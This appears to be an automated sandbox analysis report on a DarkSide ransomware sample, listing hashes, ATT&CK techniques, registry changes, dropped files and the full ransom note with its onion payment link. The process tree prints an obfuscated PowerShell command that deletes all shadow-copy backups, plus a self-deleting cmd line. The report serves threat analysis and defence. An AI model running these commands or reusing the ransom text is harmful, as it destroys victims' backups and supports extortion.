darkside | 0f808fd3ecf9d722aafeee46b57aad4d07f39c98be6f6148be979ed470cf0a99

Resubmissions

27-01-2024 19:37

240127-yb5pksafd3 10

27-01-2024 19:36

240127-ybqwesafc2 10

12-05-2021 15:56

210512-db4t7vmwas 10

Analysis

max time kernel
219s
max time network
234s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
27-01-2024 19:36

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Report Analysis Logs

General

Target

43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Size

59KB
MD5

f9fc1a1a95d5723c140c2a8effc93722
SHA1

ce2480dec2ee0a47549fad355c3cf154f9aab836
SHA256

43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa
SHA512

3816029ac654cfc546e78c5f331ad61ef21ebab0e92bacdba5a5d2cd9149002930cf46c9a1dab357697540849229d2fc0a490433aa95713d36685334ce8e8b11
SSDEEP

768:9jjV7Iax7F3DS4/S9F+YeYf+tB1tJq5c2yGHMwY23W5:vx7Fu4/iF5eTtJq1sLZ5

Score

10^/10

darkside ransomware spyware stealer

Malware Config

Extracted

Path

C:\Users\Admin\README.f304bbf4.TXT

Family

darkside

Ransom Note

----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/DZYNTXY9RP5P8DQ96EFKV2YTOVAMA3VVHL5V0RASUBLBWZGLG51U4LOOBSHV9R0Y When you open our website, put the following data in the input form: Key: k1xICnEwA8i4Exaf4zIjmEWUAK2JUsPppp7hmFIkcNOrmtfztXYRZSKEorEsHiVAg8gIcnQe7gLRyHyJg5knONhaC09HlFh6pr8Ze6Q8hGhKCm2s2OSBStASleEhgnzUaPkJzRNcaENVKONFOZjCg10YHEjNrfuE8JawoVmpQrws6XsdgiXD2E0D1VwxTCAMsDjMY7tpNOgBqY8NWoFYIWhkEoCDjp52OTKNCZfBSR3uinUDqXkUMApbz6JQ00VdTlJqjBH4QS7o73lU2Vtbr7CkQR9q5nXYLlgMKZUNiH4p0dWISOfEHmJWaWIeK1xkMIqqeao5CMf9enqc3xAG4zfW3iaUEQBwS0cDkv2aQCPFHARd71L9sZAtjcedVolkwYUqnBA9HiZRzoX7CmyX1D99XvN4HCzUmSYm0Nzr3goQSB1obYAKoKomDRTtZpLnTblmRkQoYj4dOJFiiXEdA7OswuJUeavsdO8v2XFzweyVNRNLcFy0v6OtQtRxklvgLBy4zztKaiNz7WUBzS2J5HlC7gwpnLclBloh07Bz0AI0clGIWLZf6kb !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!

URLs

http://darksidfqzcuhtk2.onion/DZYNTXY9RP5P8DQ96EFKV2YTOVAMA3VVHL5V0RASUBLBWZGLG51U4LOOBSHV9R0Y

Signatures

DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
ransomware darkside
Renames multiple (154) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware
Deletes itself 1 IoCs

Processes:

cmd.exe

pid process

1296 cmd.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

pid	process
1296	cmd.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3308111660-3636268597-2291490419-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\f304bbf4.BMP"	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3308111660-3636268597-2291490419-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\f304bbf4.BMP"	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

Processes:

43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe

pid process

2988 43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

pid	process
2988	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe

Modifies Control Panel 1 IoCs

evasion

Processes:

43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3308111660-3636268597-2291490419-1000\Control Panel\Desktop\WallpaperStyle = "10"	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe

Modifies registry class 5 IoCs

Processes:

43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.f304bbf4	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.f304bbf4\ = "f304bbf4"	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\f304bbf4\DefaultIcon	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\f304bbf4	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\f304bbf4\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\f304bbf4.ico"	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe

pid	process
2864	powershell.exe
2988	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
2988	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

Processes:

43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exepowershell.exevssvc.exe

description	pid	process
Token: SeIncreaseQuotaPrivilege	2988	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: SeSecurityPrivilege	2988	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: SeTakeOwnershipPrivilege	2988	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: SeLoadDriverPrivilege	2988	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: SeSystemProfilePrivilege	2988	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: SeSystemtimePrivilege	2988	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: SeProfSingleProcessPrivilege	2988	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: SeIncBasePriorityPrivilege	2988	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: SeCreatePagefilePrivilege	2988	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: SeBackupPrivilege	2988	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: SeRestorePrivilege	2988	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: SeShutdownPrivilege	2988	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: SeDebugPrivilege	2988	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: SeSystemEnvironmentPrivilege	2988	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: SeRemoteShutdownPrivilege	2988	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: SeUndockPrivilege	2988	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: SeManageVolumePrivilege	2988	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: 33	2988	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: 34	2988	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: 35	2988	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: SeDebugPrivilege	2864	powershell.exe
Token: SeBackupPrivilege	2344	vssvc.exe
Token: SeRestorePrivilege	2344	vssvc.exe
Token: SeAuditPrivilege	2344	vssvc.exe

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe

description	pid	process	target process
PID 2988 wrote to memory of 2864	2988	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe	powershell.exe
PID 2988 wrote to memory of 2864	2988	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe	powershell.exe
PID 2988 wrote to memory of 2864	2988	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe	powershell.exe
PID 2988 wrote to memory of 2864	2988	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe	powershell.exe
PID 2988 wrote to memory of 1296	2988	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe	cmd.exe
PID 2988 wrote to memory of 1296	2988	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe	cmd.exe
PID 2988 wrote to memory of 1296	2988	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe	cmd.exe
PID 2988 wrote to memory of 1296	2988	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe	cmd.exe

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
"C:\Users\Admin\AppData\Local\Temp\43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe"
1⤵
- Sets desktop wallpaper using registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2988

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2864

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /C DEL /F /Q C:\Users\Admin\AppData\Local\Temp\43E615~1.EXE >> NUL
2⤵
- Deletes itself
PID:1296

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2344

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Impact

Defacement

T1491

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize
344B

MD5
669fdbd759fe0e6083e6f99c21708063

SHA1
1cbc7c09a6eb8cc54a632ecf5697a2643314490a

SHA256
93332d8beaa189001b775740a7cf8a8b791b365928a433adeecebf65ae741ef9

SHA512
4a039706300c10600cf170ff26ccef1eb05a3296d1ad3caa9464cb353088675b0de8c3c1293e6db0f6ce7fc8ae9591138a14ae8598f018741df7bb798347b69a

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab51F9.tmp
Filesize
65KB

MD5
ac05d27423a85adc1622c714f2cb6184

SHA1
b0fe2b1abddb97837ea0195be70ab2ff14d43198

SHA256
c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

SHA512
6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

Download Submit
C:\Users\Admin\AppData\Local\Temp\TarC49C.tmp
Filesize
171KB

MD5
9c0c641c06238516f27941aa1166d427

SHA1
64cd549fb8cf014fcd9312aa7a5b023847b6c977

SHA256
4276af3669a141a59388bc56a87f6614d9a9bdddf560636c264219a7eb11256f

SHA512
936ed0c0b0a7ff8e606b1cc4175a1f9b3699748ccbba1c3aff96203033d2e9edabf090e5148370df42fbfc4e31d7229493706ff24f19ff42ff7bef74a6baad06

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize
7KB

MD5
3ce9c0e80a4e62d8880f2878657ffacf

SHA1
9234022e294fbbf5a8581c75f24f69da1c611e90

SHA256
b1be35bdfcaeca6bb321c18c8d2244ab0667440545cf966c20efc30b60c812eb

SHA512
76e381abcc912b954f05653df778d0e5b488952000224cfe833268a511b7ecf21e75c87c3f9075a425a20805ce1e9eaae893d8de072668228300cbb3deb89ba6

Download Submit
C:\Users\Admin\README.f304bbf4.TXT
Filesize
1KB

MD5
d44e068928d003585860dca45293232b

SHA1
41bfb9e51439dca5804190975a167c9331693e11

SHA256
2dd8909ca698759ad05159f61804e043ab5a59849111f6224eb010864fb40948

SHA512
6d84ec871bae2de0eba22cfdbdfbbdeadfa3f80c5dc0eba5ec8916f2be2b07ded82e87807fe2ffd35bd5e60102b6a39c7d61d7bc7fb4dde409989e0eef70c91d

Download Submit
memory/2864-27-0x0000000002740000-0x00000000027C0000-memory.dmp

Filesize
512KB

Download
memory/2864-25-0x000007FEF53B0000-0x000007FEF5D4D000-memory.dmp

Filesize
9.6MB

Download
memory/2864-28-0x0000000002740000-0x00000000027C0000-memory.dmp

Filesize
512KB

Download
memory/2864-26-0x0000000002740000-0x00000000027C0000-memory.dmp

Filesize
512KB

Download
memory/2864-29-0x000007FEF53B0000-0x000007FEF5D4D000-memory.dmp

Filesize
9.6MB

Download
memory/2864-30-0x0000000002740000-0x00000000027C0000-memory.dmp

Filesize
512KB

Download
memory/2864-31-0x0000000002740000-0x00000000027C0000-memory.dmp

Filesize
512KB

Download
memory/2864-35-0x000007FEF53B0000-0x000007FEF5D4D000-memory.dmp

Filesize
9.6MB

Download
memory/2864-24-0x0000000002740000-0x00000000027C0000-memory.dmp

Filesize
512KB

Download
memory/2864-23-0x000007FEF53B0000-0x000007FEF5D4D000-memory.dmp

Filesize
9.6MB

Download
memory/2864-22-0x00000000023A0000-0x00000000023A8000-memory.dmp

Filesize
32KB

Download
memory/2864-21-0x000000001B460000-0x000000001B742000-memory.dmp

Filesize
2.9MB

Download